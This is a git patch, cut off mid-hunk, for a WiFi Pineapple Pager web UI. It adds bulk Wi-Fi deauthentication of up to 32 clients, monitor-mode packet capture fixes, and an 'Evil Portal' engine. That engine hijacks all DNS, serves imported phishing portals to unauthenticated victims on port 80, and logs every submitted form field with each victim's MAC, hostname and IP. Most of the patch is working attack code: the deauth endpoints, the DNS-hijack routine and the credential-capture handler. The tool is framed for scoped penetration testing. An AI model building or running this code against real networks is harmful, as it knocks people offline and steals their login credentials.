From 88d7141d457e5451488e1acb24a57c9433528c8e Mon Sep 17 00:00:00 2001 From: c4ch3c4d3 <23181631+c4ch3c4d3@users.noreply.github.com> Date: Sun, 23 Aug 2026 19:50:41 -0600 Subject: [PATCH] feat(deauth,evilportal,capture): bulk deauth UX, Hak5-compatible Evil Portal, monitor capture fixes - Recon AP focus sidebar: 'Deauth All Clients' with engagement-scope confirm - Deauth Targeting card: 'Deauth All' behind the same scope confirmation - New POST /api/attacks/deauth/bulk (max 32 targets, per-target results) - Evil Portal tab: import EvilPortalNano-format portal zips into /mmc/mk8/portals, serve active portal on port 80 to unauthenticated clients via a minimal PHP shim, capture all form POSTs (.logs in stock MyPortal.php format + captures.jsonl), dnsmasq address=/#/ DNS hijack - OpenAP: Evil Portal template dropdown (greyed when none), activated with the attack and stopped with it - Monitor Capture fix: iface-less status now reports whichever monitor is actually capturing; pcap dir mkdir'd; tcpdump stderr surfaced instead of discarded --- README.md | 4 +- .../user/remote_access/pager-webui/server.py | 688 +++++++++++++++++- .../remote_access/pager-webui/www/js/app.js | 2 + .../remote_access/pager-webui/www/js/icons.js | 3 +- .../remote_access/pager-webui/www/js/views.js | 253 ++++++- tests/test_attacks.py | 130 ++++ tests/test_portals.py | 253 +++++++ 7 files changed, 1304 insertions(+), 29 deletions(-) create mode 100644 tests/test_portals.py diff --git a/README.md b/README.md index a40009f..b7ae65b 100644 --- a/README.md +++ b/README.md @@ -6,7 +6,9 @@ A Mark VII-style web management UI that runs **on the WiFi Pineapple Pager** at Features: Dashboard (live), PineAP (settings, SSID pool, filters, clients/kick), Recon (scans from `recon.db`), Handshakes/Loot, Payloads (embedded stock Pager Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm -terminal. +terminal. Recon AP focus offers bulk deauth; an Evil Portal tab imports Hak5 +EvilPortalNano-format portals (`kleo/evilportals` compatible), serves them to +victims via DNS hijack on port 80, and captures form credentials. - Rogue AP on the second radio (5GHz / 6GHz Wi-Fi 6E): Open AP and Evil WPA (WPA2-PSK/WPA3-SAE/WPA3-OWE) on `radio1`, band-aware channel pickers, diff --git a/payload/user/remote_access/pager-webui/server.py b/payload/user/remote_access/pager-webui/server.py index 67b3f58..a831879 100644 --- a/payload/user/remote_access/pager-webui/server.py +++ b/payload/user/remote_access/pager-webui/server.py @@ -4437,6 +4437,21 @@ def h_attacks_deploy(ctx): return 502, {'error': str(exc)} update_pineap_state(mode='advanced', enabled=True, karma=True, collect=True) + if kind == 'open': + # Optional Evil Portal binding: activate the selected template with + # the open AP; an empty value deactivates any active portal. + portal = (body.get('portal') or '').strip() + try: + if portal: + ok, err = _portal_activate(portal) + if not ok: + result['warning'] = 'portal activation failed: %s' % err + else: + result['portal'] = portal + elif _portal_active['name']: + _portal_deactivate() + except Exception as exc: + result['warning'] = 'portal activation error: %s' % exc result['ok'] = True return 200, result @@ -4542,6 +4557,11 @@ def h_attacks_stop(ctx): # Leave hop alone if a radio1 AP is still active. if not _radio1_ap_active(): _resume_hop() + if kind == 'open' and _portal_active['name']: + try: + _portal_deactivate() + except Exception: + pass return 200, {'ok': True, 'stopped': stopped} @@ -4577,36 +4597,61 @@ def _capture_state(pidfile, iface): def h_attacks_capture(ctx): body = ctx.body or {} action = body.get('action') or 'status' - iface = body.get('iface') or 'wlan0mon' - if iface not in ('wlan0mon', 'wlan1mon'): + iface = body.get('iface') + if iface is not None and iface not in ('wlan0mon', 'wlan1mon'): return 400, {'error': 'iface must be wlan0mon or wlan1mon'} - pidfile = '/tmp/mk8_capture_%s.pid' % iface capdir = '/root/loot/pcap' - running, old, stale = _capture_state(pidfile, iface) + if iface is None: + # No iface requested: report whichever capture is actually running + # across both monitors, else fall back to the default monitor. This + # keeps the UI honest when a capture was started on the other band. + states = {} + for name in ('wlan0mon', 'wlan1mon'): + running, pid, stale = _capture_state('/tmp/mk8_capture_%s.pid' % name, name) + states[name] = (running, pid, stale) + for name in ('wlan0mon', 'wlan1mon'): + if states[name][0]: + iface = name + break + else: + iface = 'wlan0mon' + running, old, stale = states[iface] + else: + pidfile = '/tmp/mk8_capture_%s.pid' % iface + running, old, stale = _capture_state(pidfile, iface) if action == 'start': if running: return 200, {'running': True, 'pid': old, 'iface': iface} + device_run(['mkdir', '-p', capdir], timeout=10) path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time())) + errlog = '/tmp/mk8_capture_%s.log' % iface rc, out, err = device_run( ['sh', '-c', - 'setsid tcpdump -i %s -s 3000 -w %s >/dev/null 2>&1 & echo $! > %s' - % (iface, path, pidfile)], timeout=10) + 'setsid tcpdump -i %s -s 3000 -w %s >%s 2>&1 & echo $! > %s' + % (iface, path, errlog, '/tmp/mk8_capture_%s.pid' % iface)], timeout=10) try: - with open(pidfile) as f: + with open('/tmp/mk8_capture_%s.pid' % iface) as f: pid = int(f.read().strip()) except (OSError, ValueError): pid = None if rc != 0 or pid is None or not os.path.exists('/proc/%d' % pid): - return 502, {'error': 'tcpdump failed to start', 'detail': (err or out)[-300:]} + detail = (err or out)[-300:] + try: + with open(errlog) as f: + detail = (detail + ' ' + f.read().strip())[-300:] + except OSError: + pass + return 502, {'error': 'tcpdump failed to start', + 'iface': iface, 'detail': detail.strip()} return 200, {'running': True, 'pid': pid, 'path': path, 'iface': iface} if action == 'stop': if old is not None: device_run(['kill', str(old)], timeout=10) try: - os.unlink(pidfile) + os.unlink('/tmp/mk8_capture_%s.pid' % iface) except OSError: pass - return 200, {'running': False, 'stopped': old} + return 200, {'running': False, 'stopped': old, 'iface': iface} # status return 200, {'running': running, 'iface': iface, 'stale': stale, 'pid': old} @@ -4647,31 +4692,609 @@ def h_attacks_download_hc22000(ctx): return 200, Download(body, 'application/octet-stream', name) -def h_attacks_deauth(ctx): - body = ctx.body or {} - bssid = (body.get('bssid') or '').strip().upper() - client = (body.get('client') or '').strip().upper() - if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid): - return 400, {'error': 'invalid AP MAC'} - if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', client): - return 400, {'error': 'invalid client MAC'} - channel = body.get('channel') - try: - channel = int(channel) if channel is not None else None - except (TypeError, ValueError): - return 400, {'error': 'invalid channel'} +DEAUTH_MAC_RE = r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$' +DEAUTH_BULK_MAX = 32 + + +def _deauth_one(bssid, client, channel): + """Send deauth frames for one (ap, client) pair via hak5cmd. + + Returns (ok, detail, inject_iface).""" band = _band_of_channel(channel) if channel is not None else None inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon' if inject != 'wlan1mon': _pineap('INTERFACE', 'INJECT', inject) rc, out, err = device_run([HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', bssid, client, str(channel or 1)], timeout=30) - if rc != 0: - return 502, {'error': 'deauth failed', 'detail': err or out} + return rc == 0, err or out, inject + + +def h_attacks_deauth(ctx): + body = ctx.body or {} + bssid = (body.get('bssid') or '').strip().upper() + client = (body.get('client') or '').strip().upper() + if not re.match(DEAUTH_MAC_RE, bssid): + return 400, {'error': 'invalid AP MAC'} + if not re.match(DEAUTH_MAC_RE, client): + return 400, {'error': 'invalid client MAC'} + channel = body.get('channel') + try: + channel = int(channel) if channel is not None else None + except (TypeError, ValueError): + return 400, {'error': 'invalid channel'} + ok, detail, inject = _deauth_one(bssid, client, channel) + if not ok: + return 502, {'error': 'deauth failed', 'detail': detail} return 200, {'ok': True, 'bssid': bssid, 'client': client, 'channel': channel, 'inject': inject} +def h_attacks_deauth_bulk(ctx): + """Deauthenticate many clients of one or more APs in one call.""" + body = ctx.body or {} + targets = body.get('targets') + if not isinstance(targets, list) or not targets: + return 400, {'error': 'targets must be a non-empty list'} + if len(targets) > DEAUTH_BULK_MAX: + return 400, {'error': 'too many targets (max %d)' % DEAUTH_BULK_MAX} + results = [] + sent = 0 + for idx, t in enumerate(targets): + if not isinstance(t, dict): + results.append({'index': idx, 'ok': False, 'error': 'invalid target'}) + continue + bssid = (t.get('bssid') or '').strip().upper() + client = (t.get('client') or '').strip().upper() + problem = None + if not re.match(DEAUTH_MAC_RE, bssid): + problem = 'invalid AP MAC' + elif not re.match(DEAUTH_MAC_RE, client): + problem = 'invalid client MAC' + channel = t.get('channel') + try: + channel = int(channel) if channel is not None else None + except (TypeError, ValueError): + problem = 'invalid channel' + if problem: + results.append({'index': idx, 'bssid': bssid, 'client': client, + 'ok': False, 'error': problem}) + continue + ok, detail, inject = _deauth_one(bssid, client, channel) + results.append({'index': idx, 'bssid': bssid, 'client': client, + 'channel': channel, 'ok': ok, + **({} if ok else {'error': detail})}) + if ok: + sent += 1 + time.sleep(0.05) + return 200, {'results': results, 'sent': sent, 'failed': len(results) - sent} + + +# -------------------------------------------------------------------------- +# Evil Portal: Hak5 EvilPortalNano-compatible captive portal engine. +# Portals are imported verbatim (index.php + assets + MyPortal.php + .ep); +# the backend shims the trivial PHP patterns stock portals use, serves the +# active portal on port 80 to unauthenticated clients, captures every form +# POST, and delivers victims via a dnsmasq DNS hijack. +# -------------------------------------------------------------------------- + +PORTALS_DIR = os.environ.get('PAGER_PORTALS_DIR', '/mmc/mk8/portals') +PORTAL_ACTIVE_FILE = os.path.join(PORTALS_DIR, '.active') +PORTAL_CAPTURES_FILE = os.path.join(PORTALS_DIR, 'captures.jsonl') +PORTAL_NAME_RE = re.compile(r'^[A-Za-z0-9._-]{1,64}$') +PORTAL_MAX_ZIP_BYTES = int(os.environ.get('PAGER_PORTAL_MAX_ZIP', str(10 * 1024 * 1024))) +PORTAL_LAN_IFACE = os.environ.get('PAGER_LAN_IFACE', 'br-lan') +PORTAL_PORT = int(os.environ.get('PAGER_PORTAL_PORT', '80')) +_portal_lock = threading.Lock() +_portal_active = {'name': None} + + +def _portal_root(name): + if not name or not PORTAL_NAME_RE.match(name): + return None + return os.path.join(PORTALS_DIR, name) + + +def _rmtree(path): + try: + for root, dirs, files in os.walk(path, topdown=False): + for f in files: + try: + os.unlink(os.path.join(root, f)) + except OSError: + pass + for d in dirs: + try: + os.rmdir(os.path.join(root, d)) + except OSError: + pass + os.rmdir(path) + except OSError: + pass + + +def _portal_list(): + portals = [] + try: + entries = sorted(os.listdir(PORTALS_DIR)) + except OSError: + entries = [] + for name in entries: + root = _portal_root(name) + if not root or not os.path.isdir(root): + continue + if not os.path.isfile(os.path.join(root, 'index.php')): + continue + size = 0 + for root_dir, _, files in os.walk(root): + for f in files: + try: + size += os.path.getsize(os.path.join(root_dir, f)) + except OSError: + pass + portals.append({'name': name, 'bytes': size}) + return portals + + +def _portal_import(data_bytes, requested_name=None): + """Import an uploaded zip (EvilPortalNano layout). Returns portal name.""" + import zipfile + import io as _io + if len(data_bytes) > PORTAL_MAX_ZIP_BYTES: + raise ValueError('portal zip too large (max %d bytes)' % PORTAL_MAX_ZIP_BYTES) + try: + zf = zipfile.ZipFile(_io.BytesIO(data_bytes)) + except Exception: + raise ValueError('not a valid zip file') + names = [n for n in zf.namelist() if n and not n.endswith('/')] + if not names: + raise ValueError('empty zip file') + for n in names: + if n.startswith('/') or '\\' in n or '..' in n.split('/'): + raise ValueError('unsafe path in zip: %s' % n) + tops = set(n.split('/')[0] for n in names) + prefix = '' + if len(tops) == 1 and 'index.php' not in names and \ + list(tops)[0] + '/index.php' in names: + prefix = list(tops)[0] + '/' + root_names = [n[len(prefix):] for n in names] + if 'index.php' not in root_names: + raise ValueError('portal must contain index.php') + meta_name = None + ep_files = [n for n in names + if n[len(prefix):].count('/') == 0 and n.endswith('.ep')] + if ep_files: + try: + meta = json.loads(zf.read(ep_files[0]).decode('utf-8', 'replace')) + candidate = meta.get('name') + if candidate and PORTAL_NAME_RE.match(str(candidate)): + meta_name = str(candidate) + except Exception: + pass + name = (requested_name or meta_name or (list(tops)[0] if len(tops) == 1 else '') + or 'portal').strip() + if not PORTAL_NAME_RE.match(name): + raise ValueError('invalid portal name') + root = _portal_root(name) + os.makedirs(PORTALS_DIR, exist_ok=True) + if os.path.exists(root): + _rmtree(root) + os.makedirs(root, exist_ok=True) + for src in names: + rel = src[len(prefix):] + dest = _safe_join(root, rel) + if not dest or not dest.startswith(os.path.abspath(root) + os.sep): + _rmtree(root) + raise ValueError('unsafe path in zip: %s' % src) + os.makedirs(os.path.dirname(dest), exist_ok=True) + with open(dest, 'wb') as f: + f.write(zf.read(src)) + return name + + +def _lan_ip(): + rc, out, err = device_run(['ip', '-4', 'addr', 'show', PORTAL_LAN_IFACE], timeout=10) + m = re.search(r'inet (\d+\.\d+\.\d+\.\d+)', out) + return m.group(1) if m else '172.16.52.1' + + +def _portal_dns_hijack(enable): + ip = _lan_ip() + if enable: + device_run(['uci', 'set', 'dhcp.@dnsmasq[0].address=/#/%s' % ip], timeout=10) + else: + # Absent option / fresh config both fine; ignore failures. + device_run(['uci', 'delete', 'dhcp.@dnsmasq[0].address'], timeout=10) + device_run(['uci', 'commit', 'dhcp'], timeout=10) + device_run(['/etc/init.d/dnsmasq', 'restart'], timeout=30) + + +def _portal_set_active(name): + with _portal_lock: + _portal_active['name'] = name + try: + os.makedirs(PORTALS_DIR, exist_ok=True) + tmp = PORTAL_ACTIVE_FILE + '.tmp' + with open(tmp, 'w') as f: + f.write((name or '') + '\n') + os.replace(tmp, PORTAL_ACTIVE_FILE) + except OSError: + pass + + +def _portal_activate(name): + root = _portal_root(name) + if not root or not os.path.isfile(os.path.join(root, 'index.php')): + return False, 'unknown portal' + _portal_dns_hijack(True) + _portal_set_active(name) + return True, None + + +def _portal_deactivate(): + active = _portal_active['name'] + _portal_dns_hijack(False) + _portal_set_active(None) + return bool(active) + + +def _portal_restore_on_boot(): + """Re-apply the DNS hijack if a portal was left active before restart.""" + try: + with open(PORTAL_ACTIVE_FILE) as f: + name = f.read().strip() + except OSError: + return + if not name: + return + root = _portal_root(name) + if root and os.path.isfile(os.path.join(root, 'index.php')): + with _portal_lock: + _portal_active['name'] = name + try: + _portal_dns_hijack(True) + except Exception: + pass + + +def _dhcp_leases(): + leases = {} + try: + with open('/tmp/dhcp.leases') as f: + for line in f: + parts = line.split() + if len(parts) >= 3: + mac = parts[1].upper() + ip = parts[2] + hostname = parts[3] if len(parts) > 3 else '' + leases[ip] = (mac, hostname) + except OSError: + pass + return leases + + +def _html_escape(s): + return (s.replace('&', '&').replace('<', '<') + .replace('>', '>').replace('"', '"')) + + +def _php_shim(text, client_ip, dest_url): + """Resolve the trivial PHP expressions stock EvilPortalNano pages use.""" + mac, hostname = _dhcp_leases().get(client_ip, ('', '')) + values = { + 'mac': _html_escape(mac), + 'hostname': _html_escape(hostname), + 'ip': client_ip, + 'dest': dest_url, + } + + def sub_expr(m): + expr = m.group(1) + if 'getClientMac(' in expr: + return values['mac'] + if 'getClientHostName(' in expr: + return values['hostname'] + if "$_SERVER['REMOTE_ADDR']" in expr or '$_SERVER["REMOTE_ADDR"]' in expr: + return values['ip'] + if '$destination' in expr or 'HTTP_HOST' in expr: + return values['dest'] + return '' + + text = re.sub(r'<\?=(.*?)\?>', sub_expr, text, flags=re.S) + text = re.sub(r'<\?php.*?\?>', '', text, flags=re.S) + text = re.sub(r'<\?(?!xml)(.*?)\?>', '', text, flags=re.S) + return text + + +_PORTAL_MIME = { + '.html': 'text/html', '.htm': 'text/html', '.php': 'text/html', + '.css': 'text/css', '.js': 'text/javascript', + '.png': 'image/png', '.jpg': 'image/jpeg', '.jpeg': 'image/jpeg', + '.gif': 'image/gif', '.svg': 'image/svg+xml', '.ico': 'image/x-icon', + '.woff': 'font/woff', '.woff2': 'font/woff2', '.ttf': 'font/ttf', + '.json': 'application/json', '.txt': 'text/plain', +} + + +def _portal_success_page(portal_name): + return ('' + '' + 'Success' + '' + '

Authorization successful

' + '

You may now use the network.

' + '' % _html_escape(portal_name or '')) + + +def _portal_capture(body_bytes, client_ip, portal_name): + fields = {} + try: + for k, v in _parse_qsl(body_bytes.decode('utf-8', 'replace')): + if k: + fields[k] = v + except Exception: + pass + mac, hostname = _dhcp_leases().get(client_ip, ('', '')) + ts = time.strftime('%Y-%m-%d %H:%M:%SZ', time.gmtime()) + root = _portal_root(portal_name) + if root: + lines = ['[%s]' % ts] + for k in sorted(fields): + lines.append('%s: %s' % (k, fields[k])) + lines.append('hostname: %s' % hostname) + lines.append('mac: %s' % mac) + lines.append('ip: %s' % client_ip) + lines.append('') + try: + os.makedirs(root, exist_ok=True) + with open(os.path.join(root, '.logs'), 'a') as f: + f.write('\n'.join(lines)) + except OSError: + pass + entry = {'ts': time.time(), 'time': ts, 'portal': portal_name, + 'fields': fields, 'mac': mac, 'hostname': hostname, + 'ip': client_ip} + try: + os.makedirs(PORTALS_DIR, exist_ok=True) + with open(PORTAL_CAPTURES_FILE, 'a') as f: + f.write(json.dumps(entry) + '\n') + except OSError: + pass + + +def _portal_handle_http(h): + """Serve one victim request on the portal listener.""" + path = h.path.split('?', 1)[0] + client_ip = h.addr[0] if h.addr else '' + host = h.headers.get('host') or '' + method = h.command + name = _portal_active['name'] + root = _portal_root(name) if name else None + if not root or not os.path.isdir(root): + body = b'' + h.send_response(404) + h.send_header('Content-Length', '0') + h.end_headers() + return + if method == 'POST': + # read_request() has already buffered the body; cap its size here. + data = getattr(h, 'body', b'') or b'' + data = data[:65536] + _portal_capture(data, client_ip, name) + page = _portal_success_page(name).encode('utf-8') + h.send_response(200) + h.send_header('Content-Type', 'text/html; charset=utf-8') + h.send_header('Content-Length', str(len(page))) + h.send_header('Cache-Control', 'no-store') + h.end_headers() + h.connection.sendall(page) + return + rel = _unquote_plus(path.lstrip('/')) or 'index.php' + rel = rel.replace('\\', '/') + full = None if '..' in rel.split('/') else _safe_join(root, rel) + if not full or not os.path.isfile(full): + full = os.path.join(root, 'index.php') + ext = os.path.splitext(full)[1].lower() + ctype = _PORTAL_MIME.get(ext, 'application/octet-stream') + try: + with open(full, 'rb') as f: + raw = f.read(PORTAL_MAX_ZIP_BYTES) + except OSError: + raw = b'' + if ext == '.php': + dest_url = 'http://' + host + path + rendered = _php_shim(raw.decode('utf-8', 'replace'), client_ip, dest_url) + raw = rendered.encode('utf-8') + ctype = 'text/html' + elif ctype == 'text/html': + ctype = 'text/html; charset=utf-8' + h.send_response(200) + h.send_header('Content-Type', ctype) + h.send_header('Content-Length', str(len(raw))) + h.send_header('Cache-Control', 'no-cache') + h.end_headers() + h.connection.sendall(raw) + + +class PortalHandler(PagerHandler): + """Victim-facing handler: no auth, no same-origin, no admin surface.""" + + def _dispatch(self): + try: + _portal_handle_http(self) + except Exception: + try: + self.connection.sendall(b'HTTP/1.0 500 Internal Server Error\r\n' + b'Content-Length: 0\r\n\r\n') + except OSError: + pass + + +def _handle_portal_conn(conn, addr): + try: + conn.settimeout(30) + h = PortalHandler(conn, addr) + while not h.close_connection: + if not h.read_request(): + break + h._dispatch() + except Exception: + pass + finally: + try: + conn.close() + except OSError: + pass + + +def _portal_server_loop(): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + sock.bind((HOST, PORTAL_PORT)) + except OSError: + # Port 80 unavailable (dev host, non-root): portal serving disabled. + return + sock.listen(16) + sock.settimeout(1) + while not LIVE_STOP.is_set(): + try: + conn, addr = sock.accept() + except socket.timeout: + continue + threading.Thread(target=_handle_portal_conn, args=(conn, addr), + daemon=True).start() + + +# ---- Evil Portal management API ----------------------------------------- + +def h_portals_list(ctx): + portals = [] + for p in _portal_list(): + p['captures'] = _portal_capture_count(p['name']) + portals.append(p) + return 200, {'portals': portals, 'active': _portal_active['name']} + + +def _portal_capture_count(name): + count = 0 + try: + with open(PORTAL_CAPTURES_FILE) as f: + for line in f: + try: + if json.loads(line).get('portal') == name: + count += 1 + except Exception: + continue + except OSError: + pass + return count + + +def h_portals_import(ctx): + body = ctx.body or {} + data_b64 = body.get('data') or '' + try: + data = base64.b64decode(data_b64, validate=False) + except Exception: + return 400, {'error': 'invalid base64 payload'} + if not data: + return 400, {'error': 'missing zip data'} + try: + name = _portal_import(data, (body.get('name') or '').strip() or None) + except ValueError as exc: + return 400, {'error': str(exc)} + return 200, {'ok': True, 'name': name} + + +def h_portals_delete(ctx): + name = ctx.args[0] if ctx.args else '' + root = _portal_root(name) + if not root or not os.path.isdir(root): + return 404, {'error': 'portal not found'} + if _portal_active['name'] == name: + try: + _portal_deactivate() + except Exception: + pass + _rmtree(root) + return 200, {'ok': True} + + +def h_portals_activate(ctx): + name = ctx.args[0] if ctx.args else '' + ok, err = _portal_activate(name) + if not ok: + return 404, {'error': err} + return 200, {'ok': True, 'active': name} + + +def h_portals_deactivate(ctx): + stopped = _portal_deactivate() + return 200, {'ok': True, 'stopped': stopped} + + +def h_portals_captures(ctx): + limit = 200 + try: + limit = max(1, min(int(ctx.query.get('limit', 200)), 1000)) + except (TypeError, ValueError): + pass + entries = [] + try: + with open(PORTAL_CAPTURES_FILE) as f: + for line in f: + line = line.strip() + if not line: + continue + try: + entries.append(json.loads(line)) + except Exception: + continue + except OSError: + pass + return 200, {'captures': list(reversed(entries[-limit:])), + 'total': len(entries)} + + +def h_portals_captures_clear(ctx): + try: + os.unlink(PORTAL_CAPTURES_FILE) + except OSError: + pass + return 200, {'ok': True} + + +def h_portal_logs(ctx): + name = ctx.args[0] if ctx.args else '' + root = _portal_root(name) + path = os.path.join(root, '.logs') if root else None + if not path or not os.path.isfile(path): + return 404, {'error': 'no captured logs'} + with open(path, 'rb') as f: + return 200, Download(f.read(), 'text/plain', '%s.logs.txt' % name) + + +def h_portal_download(ctx): + import zipfile + import io as _io + name = ctx.args[0] if ctx.args else '' + root = _portal_root(name) + if not root or not os.path.isdir(root): + return 404, {'error': 'portal not found'} + buf = _io.BytesIO() + with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf: + for dirpath, _, files in os.walk(root): + for fn in files: + full = os.path.join(dirpath, fn) + rel = os.path.relpath(full, root) + try: + zf.write(full, os.path.join(name, rel)) + except OSError: + continue + return 200, Download(buf.getvalue(), 'application/zip', + '%s.zip' % name) + + def _pineap(*args, timeout=30): with _pineapd_cmd_lock: rc, out, err = device_run(['_pineap'] + list(args), timeout=timeout) @@ -7171,6 +7794,16 @@ ROUTER.add('POST', r'/api/attacks/capture', h_attacks_capture) ROUTER.add('GET', r'/api/attacks/export/hc22000', h_attacks_export_hc22000) ROUTER.add('GET', r'/api/attacks/export/hc22000/([^/]+)', h_attacks_download_hc22000) ROUTER.add('POST', r'/api/attacks/deauth', h_attacks_deauth) +ROUTER.add('POST', r'/api/attacks/deauth/bulk', h_attacks_deauth_bulk) +ROUTER.add('GET', r'/api/portals', h_portals_list) +ROUTER.add('POST', r'/api/portals/import', h_portals_import) +ROUTER.add('GET', r'/api/portals/captures', h_portals_captures) +ROUTER.add('DELETE', r'/api/portals/captures', h_portals_captures_clear) +ROUTER.add('POST', r'/api/portals/([^/]+)/activate', h_portals_activate) +ROUTER.add('POST', r'/api/portals/([^/]+)/deactivate', h_portals_deactivate) +ROUTER.add('GET', r'/api/portals/([^/]+)/logs', h_portal_logs) +ROUTER.add('GET', r'/api/portals/([^/]+)/download', h_portal_download) +ROUTER.add('DELETE', r'/api/portals/([^/]+)', h_portals_delete) ROUTER.add('GET', r'/api/attacks/clients', h_attacks_clients) ROUTER.add('GET', r'/api/health', h_health) ROUTER.add('POST', r'/mcp', h_mcp) @@ -7487,6 +8120,11 @@ def serve(): start_health_monitor() if os.environ.get('PAGER_WEBUI_BOOT') == '1': _enterprise_boot_recover() + try: + _portal_restore_on_boot() + except Exception: + pass + threading.Thread(target=_portal_server_loop, daemon=True).start() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((HOST, PORT)) diff --git a/payload/user/remote_access/pager-webui/www/js/app.js b/payload/user/remote_access/pager-webui/www/js/app.js index 4ca3aa0..15869ad 100644 --- a/payload/user/remote_access/pager-webui/www/js/app.js +++ b/payload/user/remote_access/pager-webui/www/js/app.js @@ -31,6 +31,7 @@ const App = (() => { { key: 'dashboard', label: 'Dashboard', hash: '#/dashboard', icon: 'dashboard' }, { key: 'pineap', label: 'PineAP', hash: '#/pineap', icon: 'wifi' }, { key: 'recon', label: 'Recon', hash: '#/recon', icon: 'recon' }, + { key: 'evilportal', label: 'Evil Portal', hash: '#/evilportal', icon: 'portal' }, { key: 'logging', label: 'Logging', hash: '#/logging', icon: 'logging' }, { key: 'modules', label: 'Payloads', hash: '#/modules', icon: 'modules' }, { key: 'harness', label: 'Harness', hash: '#/harness', icon: 'robot' }, @@ -420,6 +421,7 @@ const App = (() => { '#/recon': 'recon', '#/recon/reports': 'recon_reports', '#/recon/handshakes': 'recon_handshakes', + '#/evilportal': 'evilportal', '#/logging': 'logging', '#/logging/system': 'logging_system', '#/modules': 'modules', diff --git a/payload/user/remote_access/pager-webui/www/js/icons.js b/payload/user/remote_access/pager-webui/www/js/icons.js index 1795a27..23b6245 100644 --- a/payload/user/remote_access/pager-webui/www/js/icons.js +++ b/payload/user/remote_access/pager-webui/www/js/icons.js @@ -39,5 +39,6 @@ window.PineappleIcons = { record: '', place: '', play_arrow: '', - stop: '' + stop: '', + portal: '' }; diff --git a/payload/user/remote_access/pager-webui/www/js/views.js b/payload/user/remote_access/pager-webui/www/js/views.js index 4fed3a3..0e54f10 100644 --- a/payload/user/remote_access/pager-webui/www/js/views.js +++ b/payload/user/remote_access/pager-webui/www/js/views.js @@ -684,6 +684,7 @@ views.pineap_open = attackLauncher('open', { title: 'OpenAP', bssid: true, country: true, + portal: true, tabHash: '#/pineap/open' }); @@ -1186,6 +1187,9 @@ function attackLauncher(kind, opts) { text: 'Prefilled from Recon (' + (prefill.source || 'target') + '). Set the passphrase, verify the settings, then Deploy.' })); } + let portalSel = null; + if (opts.portal) portalSel = h('select', { id: 'atk-portal' }); + f.appendChild(h('div', { class: 'row', style: 'margin-top:10px' }, h('div', {}, (function () { const deployBtn = btn('Deploy Attack', () => { @@ -1197,6 +1201,7 @@ function attackLauncher(kind, opts) { if (pskIn) { body.passphrase = pskIn.value; body.enctype = encSel.value; } if (bssidIn) body.bssid = bssidIn.value.trim(); if (coSel) body.country = coSel.value; + if (portalSel) body.portal = portalSel.value || ''; runAction(deployBtn, () => PagerAPI.post('/api/attacks/deploy', body) .then((r) => { verifiedToast(r.data || {}); load(); }), 'Deploying…'); }); @@ -1215,6 +1220,34 @@ function attackLauncher(kind, opts) { const status = attackStatusCard(); box.appendChild(status.card); + if (opts.portal) { + const pCard = h('div', { class: 'pineap-title-card' }); + pCard.appendChild(h('div', { class: 'pineap-card-title' }, 'Evil Portal')); + const pBody = h('div', { style: 'font-size:13px' }); + pCard.appendChild(pBody); + box.appendChild(pCard); + PagerAPI.get('/api/portals').then((r) => { + const d = r.data || {}; + const portals = d.portals || []; + portalSel.innerHTML = ''; + if (!portals.length) { + portalSel.disabled = true; + portalSel.appendChild(h('option', { value: '', text: 'No portal templates imported' })); + pBody.appendChild(h('label', {}, 'Portal template', portalSel)); + pBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px', + text: 'Import a Hak5-format portal zip in the Evil Portal tab to enable credential capture.' })); + return; + } + portalSel.appendChild(h('option', { value: '', text: 'None' })); + portals.forEach((p) => portalSel.appendChild( + h('option', { value: p.name, text: p.name + (p.name === d.active ? ' (active)' : '') }))); + if (d.active && portals.some((p) => p.name === d.active)) portalSel.value = d.active; + pBody.appendChild(h('label', {}, 'Portal template', portalSel)); + pBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px', + text: 'The selected portal is activated when this attack deploys and stopped with it.' })); + }).catch(() => {}); + } + const hsBox = h('div', {}); const captureBox = h('div', { class: 'pineap-title-card' }); captureBox.appendChild(h('div', { class: 'pineap-card-title' }, 'Monitor Capture')); @@ -1226,6 +1259,9 @@ function attackLauncher(kind, opts) { function capRow(st) { capBody.innerHTML = ''; const run = !!(st && st.running); + // Adopt the iface the backend reports as actually capturing: the + // status poll may target a different monitor than the form default. + if (run && st.iface) capIface = st.iface; capBody.appendChild(h('div', { class: 'row' }, h('span', { text: run ? ('Capturing on ' + (st.iface || capIface)) : 'Not capturing' }), h('div', {}, (function () { @@ -1384,6 +1420,24 @@ function deauthPanel(ssidRef) { const apSel = h('select', {}); const clTable = h('div', {}); let lastLookup = ''; + let lastClients = []; + const deauthAllBtn = btn('Deauth All', () => { + const parts = apSel.value.split('|'); + if (!lastClients.length) { App.toast('No devices to deauth — run Find first', 'error'); return; } + if (!parts[0]) { App.toast('Pick an AP first', 'error'); return; } + if (!window.confirm('Deauthenticate ALL ' + lastClients.length + + ' listed device(s) against ' + parts[0] + '?\n\nConfirm this target is IN SCOPE for your engagement.')) return; + runAction(deauthAllBtn, () => PagerAPI.post('/api/attacks/deauth/bulk', { + targets: lastClients.map((mac) => ({ + bssid: parts[0], client: mac, + channel: parseInt(parts[1], 10) || null + })) + }).then((r) => { + const d = r.data || {}; + App.toast('Deauth frames sent to ' + (d.sent != null ? d.sent : '?') + + '/' + ((d.results || []).length) + ' devices'); + }), 'Sending…'); + }, 'danger'); function lookup(q) { if (!q || q === lastLookup) return Promise.resolve(); lastLookup = q; @@ -1397,6 +1451,7 @@ function deauthPanel(ssidRef) { if (!(d.aps || []).length) apSel.appendChild(h('option', { value: '|1', text: 'No APs found — check SSID' })); clTable.innerHTML = ''; const cl = (d.clients || []).slice(0, 30); + lastClients = cl.map((c) => c.mac || c.client_mac || '').filter(Boolean); if (!cl.length) { clTable.appendChild(h('div', { class: 'empty', text: 'No devices in recon yet.' })); return; @@ 